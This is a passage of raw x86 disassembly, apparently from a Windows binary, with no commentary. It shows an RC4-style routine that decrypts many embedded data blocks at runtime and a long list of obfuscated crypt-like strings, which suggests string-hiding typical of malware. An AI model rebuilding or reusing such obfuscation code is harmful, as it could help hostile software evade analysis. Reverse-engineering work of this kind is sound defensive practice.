		mov	[ebp+var_92], 1Fh
		mov	[ebp+var_91], 33h
		mov	[ebp+var_90], 31h
		mov	[ebp+var_8F], 0Ah
		mov	[ebp+var_8E], 43h
		mov	[ebp+var_8D], 47h
		mov	[ebp+var_8C], 27h
		mov	[ebp+var_8B], 55h
		mov	[ebp+var_8A], 38h
		mov	[ebp+var_89], 49h
		mov	[ebp+var_88], 2Ah
		mov	[ebp+var_87], 0Bh
		mov	[ebp+var_86], 4Eh
		mov	[ebp+var_85], 41h
		mov	[ebp+var_84], 33h
		mov	[ebp+var_83], 4Ch
		mov	[ebp+var_82], 10h
		mov	[ebp+var_81], 4Eh
		mov	[ebp+var_80], 36h
		mov	[ebp+var_7F], 34h
		mov	[ebp+var_7E], 5Ah
		mov	[ebp+var_7D], 2Dh
		mov	[ebp+var_7C], 5Ah
		mov	[ebp+var_7B], 12h
		mov	[ebp+var_7A], 0Bh
		mov	[ebp+var_79], 2Bh
		mov	[ebp+var_78], 13h
		mov	[ebp+var_77], 0Dh
		mov	[ebp+var_76], 15h
		mov	[ebp+var_75], 21h
		mov	[ebp+var_74], 0Bh
		mov	[ebp+var_73], 3
		mov	[ebp+var_72], 4Ch
		mov	[ebp+var_71], 17h
		mov	[ebp+var_70], 4Ch
		mov	[ebp+var_6F], 49h
		mov	[ebp+var_6E], 38h
		mov	[ebp+var_6D], 0Dh
		mov	[ebp+var_6C], 18h
		mov	[ebp+var_6B], 1Dh
		mov	[ebp+var_6A], 3Ch
		mov	[ebp+var_69], 27h
		mov	[ebp+var_68], 23h
		mov	[ebp+var_67], 59h
		mov	[ebp+var_66], 1Eh
		mov	[ebp+var_65], 43h
		mov	[ebp+var_64], 5Fh
		mov	[ebp+var_63], 4Eh
		mov	[ebp+var_62], 14h
		mov	[ebp+var_61], 2Bh
		mov	[ebp+var_60], 4Dh
		mov	[ebp+var_5F], 27h
		mov	[ebp+var_5E], 2Dh
		mov	[ebp+var_5D], 22h
		mov	[ebp+var_5C], 0Ch
		mov	[ebp+var_5B], 30h
		mov	[ebp+var_5A], 0Dh
		mov	[ebp+var_59], 20h
		mov	[ebp+var_58], 16h
		mov	[ebp+var_57], 1Ch
		mov	[ebp+var_56], 2Ch
		mov	[ebp+var_55], 15h
		mov	[ebp+var_54], 2Ch
		mov	[ebp+var_53], 12h
		mov	[ebp+var_52], 4Fh
		mov	[ebp+var_51], 0Ah
		mov	[ebp+var_50], 38h
		mov	[ebp+var_4F], 2Dh
		mov	[ebp+var_4E], 49h
		mov	[ebp+var_4D], 15h
		mov	[ebp+var_4C], 59h
		lea	eax, [ebp+var_E8]
		mov	[ebp+var_4B], 38h
		push	eax
		mov	[ebp+var_4A], 43h
		mov	[ebp+var_49], 1Fh
		mov	[ebp+var_48], 33h
		mov	[ebp+var_47], 0Dh
		mov	[ebp+var_46], 38h
		mov	[ebp+var_45], 2Fh
		mov	[ebp+var_44], 20h
		mov	[ebp+var_43], 15h
		mov	[ebp+var_42], 2Eh
		mov	[ebp+var_41], 5Bh
		mov	[ebp+var_40], 36h
		mov	[ebp+var_3F], 37h
		mov	[ebp+var_3E], 1Bh
		mov	[ebp+var_3D], 56h
		mov	[ebp+var_3C], 4Eh
		mov	[ebp+var_3B], 32h
		mov	[ebp+var_3A], 0Ah
		mov	[ebp+var_39], 48h
		mov	[ebp+var_38], 42h
		mov	[ebp+var_37], 45h
		mov	[ebp+var_36], 2Bh
		mov	[ebp+var_35], 41h
		mov	[ebp+var_34], 37h
		mov	[ebp+var_33], 0Dh
		mov	[ebp+var_32], 31h
		mov	[ebp+var_31], 3Dh
		mov	[ebp+var_30], 4Dh
		mov	[ebp+var_2F], 17h
		mov	[ebp+var_2E], 17h
		mov	[ebp+var_2D], 39h
		mov	[ebp+var_2C], 21h
		mov	[ebp+var_2B], 22h
		mov	[ebp+var_2A], 35h
		mov	[ebp+var_29], 2Bh
		mov	[ebp+var_28], 0Bh
		mov	[ebp+var_27], 2Dh
		mov	[ebp+var_26], 40h
		mov	[ebp+var_25], 27h
		mov	[ebp+var_24], 27h
		mov	[ebp+var_23], 36h
		mov	[ebp+var_22], 4Dh
		mov	[ebp+var_21], 46h
		mov	[ebp+var_20], 45h
		mov	[ebp+var_1F], 42h
		mov	[ebp+var_1E], 13h
		mov	[ebp+var_1D], 32h
		mov	[ebp+var_1C], 47h
		mov	[ebp+var_1B], 4Ch
		mov	[ebp+var_1A], 17h
		mov	[ebp+var_19], 23h
		mov	[ebp+var_18], 1Fh
		mov	[ebp+var_17], 57h
		mov	[ebp+var_16], 1Eh
		mov	[ebp+var_15], 1Dh
		mov	[ebp+var_14], 2Bh
		mov	[ebp+var_13], 5Dh
		mov	[ebp+var_12], 4Eh
		mov	[ebp+var_11], bl
		call	sub_422120
		mov	esi, 1AFh
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+var_298]
		push	ebx
		push	eax
		call	sub_4221F0
		push	esi
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 1Ch
		xor	eax, eax
		dec	esi


loc_41D3BE:				; CODE XREF: sub_41CEE1+4E7j
		mov	[ebp+eax+var_298], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41D3BE
		xor	eax, eax


loc_41D3CC:				; CODE XREF: sub_41CEE1+504j
		cmp	edi, [ebp+var_C]
		jnz	short loc_41D3D3
		xor	edi, edi


loc_41D3D3:				; CODE XREF: sub_41CEE1+4EEj
		mov	cl, [ebp+edi+var_E8]
		inc	edi
		mov	[ebp+eax+var_448], cl
		inc	eax
		cmp	eax, esi
		jb	short loc_41D3CC
		xor	edx, edx
		mov	[ebp+var_8], ebx


loc_41D3EC:				; CODE XREF: sub_41CEE1+545j
		mov	ecx, [ebp+var_8]
		lea	edi, [ebp+ecx+var_298]
		movzx	ecx, [ebp+ecx+var_448]
		mov	al, [edi]
		add	edx, ecx
		mov	[ebp+var_1], al
		mov	ecx, esi
		movzx	eax, al
		add	eax, edx
		xor	edx, edx
		div	ecx
		inc	[ebp+var_8]
		cmp	[ebp+var_8], esi
		lea	eax, [ebp+edx+var_298]
		mov	cl, [eax]
		mov	[edi], cl
		mov	cl, [ebp+var_1]
		mov	[eax], cl
		jb	short loc_41D3EC
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jbe	short loc_41D494
		jmp	short loc_41D43A
; ---------------------------------------------------------------------------


loc_41D437:				; CODE XREF: sub_41CEE1+5B1j
		mov	eax, [ebp+var_8]


loc_41D43A:				; CODE XREF: sub_41CEE1+554j
		inc	eax
		xor	edx, edx
		mov	ecx, esi
		mov	edi, esi
		div	ecx
		mov	[ebp+var_8], edx
		lea	ecx, [ebp+edx+var_298]
		xor	edx, edx
		mov	bl, [ecx]
		movzx	eax, bl
		add	eax, [ebp+var_C]
		div	edi
		mov	[ebp+var_C], edx
		lea	eax, [ebp+edx+var_298]
		mov	dl, [eax]
		mov	[ecx], dl
		mov	edx, [ebp+var_10]
		mov	[eax], bl
		mov	eax, [ebp+arg_0]
		lea	edi, [edx+eax]
		xor	edx, edx
		movzx	eax, byte ptr [ecx]
		movzx	ecx, bl
		add	eax, ecx
		mov	ecx, esi
		div	ecx
		mov	al, [ebp+edx+var_298]
		xor	[edi], al
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_4]
		jb	short loc_41D437


loc_41D494:				; CODE XREF: sub_41CEE1+552j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CEE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D499	proc near		; CODE XREF: sub_4120E9+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		mov	edi, offset dword_439134
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset byte_439233
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439540
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439568
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439578
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439590
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439068
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439098
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_4390C8
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset loc_439030
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset loc_43903C
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset loc_4395A0
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_4395C4
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_4395E8
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		xor	edi, edi
		cmp	[ebp+arg_0], esi
		jle	short loc_41D61A


loc_41D5F8:				; CODE XREF: sub_41D499+17Fj
		lea	ebx, ds:43904Ch[edi*4]
		push	esi
		push	esi
		push	dword ptr [ebx]
		call	sub_422120
		pop	ecx
		push	eax
		push	dword ptr [ebx]
		call	sub_41CEE1
		add	esp, 10h
		inc	edi
		cmp	edi, [ebp+arg_0]
		jl	short loc_41D5F8


loc_41D61A:				; CODE XREF: sub_41D499+15Dj
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jle	short loc_41D660
		mov	edi, offset byte_4396F7
		mov	[ebp+arg_0], eax


loc_41D629:				; CODE XREF: sub_41D499+1C5j
		lea	ebx, [edi-9Fh]
		push	esi
		push	esi
		push	ebx
		call	sub_422120
		pop	ecx
		push	eax
		push	ebx
		call	sub_41CEE1
		add	esp, 10h
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		add	edi, 0B8h
		dec	[ebp+arg_0]
		jnz	short loc_41D629


loc_41D660:				; CODE XREF: sub_41D499+186j
		push	esi
		mov	edi, offset dword_439638
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43963C
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset byte_455608
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset byte_455609
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439644
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439648
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	offset dword_43964C
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_439650
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		push	esi
		push	esi
		mov	edi, offset dword_43B03C
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset byte_43B13B
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43B44C
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset off_43B54B
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43B85C
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset byte_43B95B
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, (offset loc_439027+1)
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, (offset loc_439043+1)
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset aIQ	; "(I]q"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset aRa	; "=RA"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset aTa	; "=TA"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset aZ	; "=Z\\"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset a8hj ; "8HJ"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset aTf	; "'TF"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset aZ_0 ; "=Z]"
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C078
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C080
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C088
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C090
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C098
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C0A0
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		mov	edi, offset dword_43C0A8
		push	esi
		push	esi
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		call	sub_41CEE1
		add	esp, 10h
		push	esi
		push	esi
		mov	esi, offset dword_43C0B0
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		call	sub_41CEE1
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D499	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D94C	proc near		; CODE XREF: sub_419B2F+35p
					; sub_419F6A+C9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_41D988
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_41D988
		cmp	byte ptr [eax],	0
		jz	short loc_41D988
		cmp	byte ptr [esi],	0
		jz	short loc_41D988
		push	edi
		push	esi
		push	eax
		call	sub_41E8CB
		mov	edi, eax
		push	edi
		push	offset aS_1	; "%s"
		push	esi
		call	dword_42F24C	; wsprintfA
		push	edi
		call	sub_421C78
		add	esp, 18h
		pop	edi


loc_41D988:				; CODE XREF: sub_41D94C+7j
					; sub_41D94C+Fj ...
		pop	esi
		retn
sub_41D94C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D98A	proc near		; CODE XREF: sub_4120E9+3Dp
		push	esi
		mov	esi, offset dword_4395E8
		push	offset aDJstMfgyq_ ; "d/Jst/MFgyQ."
		push	esi
		call	sub_41D94C
		push	offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
		push	esi
		call	sub_41D94C
		push	offset a86tb1fspjg0 ; "86tb/1FSpjg0"
		push	esi
		call	sub_41D94C
		push	offset aPlsymAee6v1 ; "PlsYM/aEe6v1"
		push	esi
		call	sub_41D94C
		push	offset aC7rq4Xpvel_ ; "c7RQ4/xPvel."
		push	esi
		call	sub_41D94C
		push	offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
		push	esi
		call	sub_41D94C
		push	offset aNfknl0nqigy0 ; "NFKNL0nQigY0"
		push	esi
		call	sub_41D94C
		push	offset aE0idd0rdw2u ; "e0idD0RDw2U/"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aS3dyJzo6r ; "s3dY//JZo6r/"
		push	esi
		call	sub_41D94C
		push	offset aPdazx1odsoh0 ; "PDazX1oDSOh0"
		push	esi
		call	sub_41D94C
		push	offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
		push	esi
		call	sub_41D94C
		push	offset aDj9owUmrbd_ ; "dJ9OW/uMRBD."
		push	esi
		call	sub_41D94C
		push	offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1"
		push	esi
		call	sub_41D94C
		push	offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl."
		push	esi
		call	sub_41D94C
		push	offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/"
		push	esi
		call	sub_41D94C
		push	offset aPnb_aBfzu60 ; "pNb.a/Bfzu60"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		push	esi
		call	sub_41D94C
		push	offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
		push	esi
		call	sub_41D94C
		push	offset a1ylid_ejqp01 ; "1YLId.eJQP01"
		push	esi
		call	sub_41D94C
		push	offset a47ff020f_0_ ; "47Ff/020f.0."
		push	esi
		call	sub_41D94C
		push	offset aHyomeIovtv_ ; "HyOMe/iovtV."
		push	esi
		call	sub_41D94C
		push	offset aPlsymAee6v1_0 ;	"PlsYM/aEe6v1"
		push	esi
		call	sub_41D94C
		push	offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1"
		push	esi
		call	sub_41D94C
		push	offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aN1_5f0do0oh_ ; "N1.5f0Do0oH."
		push	esi
		call	sub_41D94C
		push	offset aUz3rf_vtkug1 ; "uz3rf.VTKug1"
		push	esi
		call	sub_41D94C
		push	offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g."
		push	esi
		call	sub_41D94C
		push	offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
		push	esi
		call	sub_41D94C
		push	offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
		push	esi
		call	sub_41D94C
		push	offset a_swwg1hqeii1 ; ".SWwg1hqeiI1"
		push	esi
		call	sub_41D94C
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		push	esi
		call	sub_41D94C
		push	offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aF9ax112067l1 ; "f9aX112067l1"
		push	esi
		call	sub_41D94C
		push	offset a_hioo_5pweu_ ; ".HiOo.5pwEU."
		push	esi
		call	sub_41D94C
		push	offset aAjttz06ztse1 ; "ajTtz06Ztse1"
		push	esi
		call	sub_41D94C
		push	offset aUn3hk0sn58o ; "uN3hk0sn58o/"
		push	esi
		call	sub_41D94C
		push	offset aQrn4z10ge1i1 ; "QRn4z10ge1I1"
		push	esi
		call	sub_41D94C
		push	offset aBvuso0ed3mw ; "bVUSO0ed3MW/"
		push	esi
		call	sub_41D94C
		push	offset a6x2ka0buubb_ ; "6x2Ka0buUbB."
		push	esi
		call	sub_41D94C
		push	offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aL80reUvcue1 ; "l80re/UvCUe1"
		push	esi
		call	sub_41D94C
		push	offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
		push	esi
		call	sub_41D94C
		push	offset a7tmte_meccn ; "7Tmte.MEccn/"
		push	esi
		call	sub_41D94C
		push	offset aWn7_tNza2v ; "wN7.t/nZA2V/"
		push	esi
		call	sub_41D94C
		push	offset aGkyv90skypy ; "gkYv90Skypy/"
		push	esi
		call	sub_41D94C
		push	offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1"
		push	esi
		call	sub_41D94C
		push	offset aNPbw1sdkiw_ ; "N/pbW1sDKiw."
		push	esi
		call	sub_41D94C
		push	offset aFdxpb0leh21_ ; "fDxPB0lEh21."
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		push	esi
		call	sub_41D94C
		push	offset aUts3o_rfmks_ ; "uts3o.RfmkS."
		push	esi
		call	sub_41D94C
		push	offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1"
		push	esi
		call	sub_41D94C
		push	offset aQxqog1goyq80 ; "QXqOg1gOYq80"
		push	esi
		call	sub_41D94C
		push	offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0"
		push	esi
		call	sub_41D94C
		push	offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0"
		push	esi
		call	sub_41D94C
		push	offset aWpuwr_6yfru ; "WpuWr.6YFRU/"
		push	esi
		call	sub_41D94C
		push	offset a4rmbzFcic21 ; "4RmBz/FCic21"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aSc_coSwlk_ ; "SC.Co/swLK/."
		push	esi
		call	sub_41D94C
		push	offset aWyf3k1fthkz_ ; "WyF3K1fTHKz."
		push	esi
		call	sub_41D94C
		push	offset aCwxsh_xflvu_ ; "cwXsH.xFlvu."
		push	esi
		call	sub_41D94C
		push	offset aKxor8_os17a0 ; "KxOR8.oS17a0"
		push	esi
		call	sub_41D94C
		push	offset aSasd20nmhk50 ; "sAsD20NmhK50"
		push	esi
		call	sub_41D94C
		push	offset aHpmch0pbq800 ; "HPmCH0PbQ800"
		push	esi
		call	sub_41D94C
		push	offset aLees11vpbnf0 ; "LeEs11vPbnf0"
		push	esi
		call	sub_41D94C
		push	offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb."
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0"
		push	esi
		call	sub_41D94C
		push	offset aR7wrsQhek_0 ; "r7WRs/qHek.0"
		push	esi
		call	sub_41D94C
		push	offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0"
		push	esi
		call	sub_41D94C
		push	offset aDqjso_47pdb ; "dQJSO.47pdb/"
		push	esi
		call	sub_41D94C
		push	offset aK9vUKkutm ; "K9V/U/KkuTM/"
		push	esi
		call	sub_41D94C
		push	offset a7yfnz0pw11s1 ; "7yfnz0PW11s1"
		push	esi
		call	sub_41D94C
		push	offset aNq_as1z1sit ; "nQ.As1Z1SIt/"
		push	esi
		call	sub_41D94C
		push	offset aUn3hk0sn58o_0 ;	"uN3hk0sn58o/"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1"
		push	esi
		call	sub_41D94C
		push	offset aIegud0v_5_ ; "iEguD0V/.5/."
		push	esi
		call	sub_41D94C
		push	offset aFc9kk1jx11g_ ; "fc9Kk1jX11G."
		push	esi
		call	sub_41D94C
		push	offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/"
		push	esi
		call	sub_41D94C
		push	offset aVi0qa1mvfro1 ; "VI0QA1mvfro1"
		push	esi
		call	sub_41D94C
		push	offset aJdzdp05e7aw_ ; "jdZDp05E7aW."
		push	esi
		call	sub_41D94C
		push	offset aW3gp6_13acy1 ; "W3GP6.13AcY1"
		push	esi
		call	sub_41D94C
		push	offset aZat3j_lm3ge1 ; "zAT3J.lm3Ge1"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aLjAmKzrtp1 ; "lJ/am/kZRtP1"
		push	esi
		call	sub_41D94C
		push	offset aXzaru0amxhi_ ; "XZArU0aMxhi."
		push	esi
		call	sub_41D94C
		push	offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0"
		push	esi
		call	sub_41D94C
		push	offset aRp4sr11cvr1 ; "Rp4sR11CvR1/"
		push	esi
		call	sub_41D94C
		push	offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ."
		push	esi
		call	sub_41D94C
		push	offset a1shta0bzfwk1 ; "1ShtA0bzFwk1"
		push	esi
		call	sub_41D94C
		push	offset aAzcsp_hkilo_ ; "AZcsP.hkiLO."
		push	esi
		call	sub_41D94C
		push	offset aIkgekKykjq1 ; "iKgEK/kyKJQ1"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		push	esi
		call	sub_41D94C
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		push	esi
		call	sub_41D94C
		push	offset aMb05gVyf8f1 ; "mb05g/VYf8f1"
		push	esi
		call	sub_41D94C
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		push	esi
		call	sub_41D94C
		push	offset aSbsip_o7v4b ; "SbsIp.o7V4B/"
		push	esi
		call	sub_41D94C
		push	offset aN3saa1expwu1 ; "n3sAa1exPWU1"
		push	esi
		call	sub_41D94C
		push	offset aBurnP75wk ; "/BURN/P75Wk/"
		push	esi
		call	sub_41D94C
		push	offset aXkg84_cesgs_ ; "XkG84.cESgs."
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aPsern1aagh6_ ; "pSern1AAGh6."
		push	esi
		call	sub_41D94C
		push	offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
		push	esi
		call	sub_41D94C
		push	offset aP06vqBfbmo_ ; "p06vq/BFBMo."
		push	esi
		call	sub_41D94C
		push	offset a3vvsv1vurua ; "3VVsV1VuRUA/"
		push	esi
		call	sub_41D94C
		push	offset a2onvg1wfjmb1 ; "2ONVG1WFjmb1"
		push	esi
		call	sub_41D94C
		push	offset aZqhijZaeza_ ; "ZqhIJ/ZaEZa."
		push	esi
		call	sub_41D94C
		push	offset aKmdie1uwntq ; "KmdIe1UwntQ/"
		push	esi
		call	sub_41D94C
		push	offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
		push	esi
		call	sub_41D94C
		push	offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1"
		push	esi
		call	sub_41D94C
		push	offset aX4cty1aeqwx ; "X4Cty1aEQwX/"
		push	esi
		call	sub_41D94C
		push	offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
		push	esi
		call	sub_41D94C
		push	offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1"
		push	esi
		call	sub_41D94C
		push	offset aZk1tr0lpp5r0 ; "Zk1Tr0lpP5R0"
		push	esi
		call	sub_41D94C
		push	offset a6ldraK4kds ; "6ldRA/K4kDS/"
		push	esi
		call	sub_41D94C
		push	offset aX_62c_3ldcp ; "X.62C.3LDCP/"
		push	esi
		call	sub_41D94C
		add	esp, 40h
		push	offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V."
		push	esi
		call	sub_41D94C
		push	offset aXxulc08o9rf0 ; "Xxulc08O9rf0"
		push	esi
		call	sub_41D94C
		push	offset aFepmfZswfd ; "FEpMF/ZswFD/"
		push	esi
		call	sub_41D94C
		push	offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
		push	esi
		call	sub_41D94C
		push	offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
		push	esi
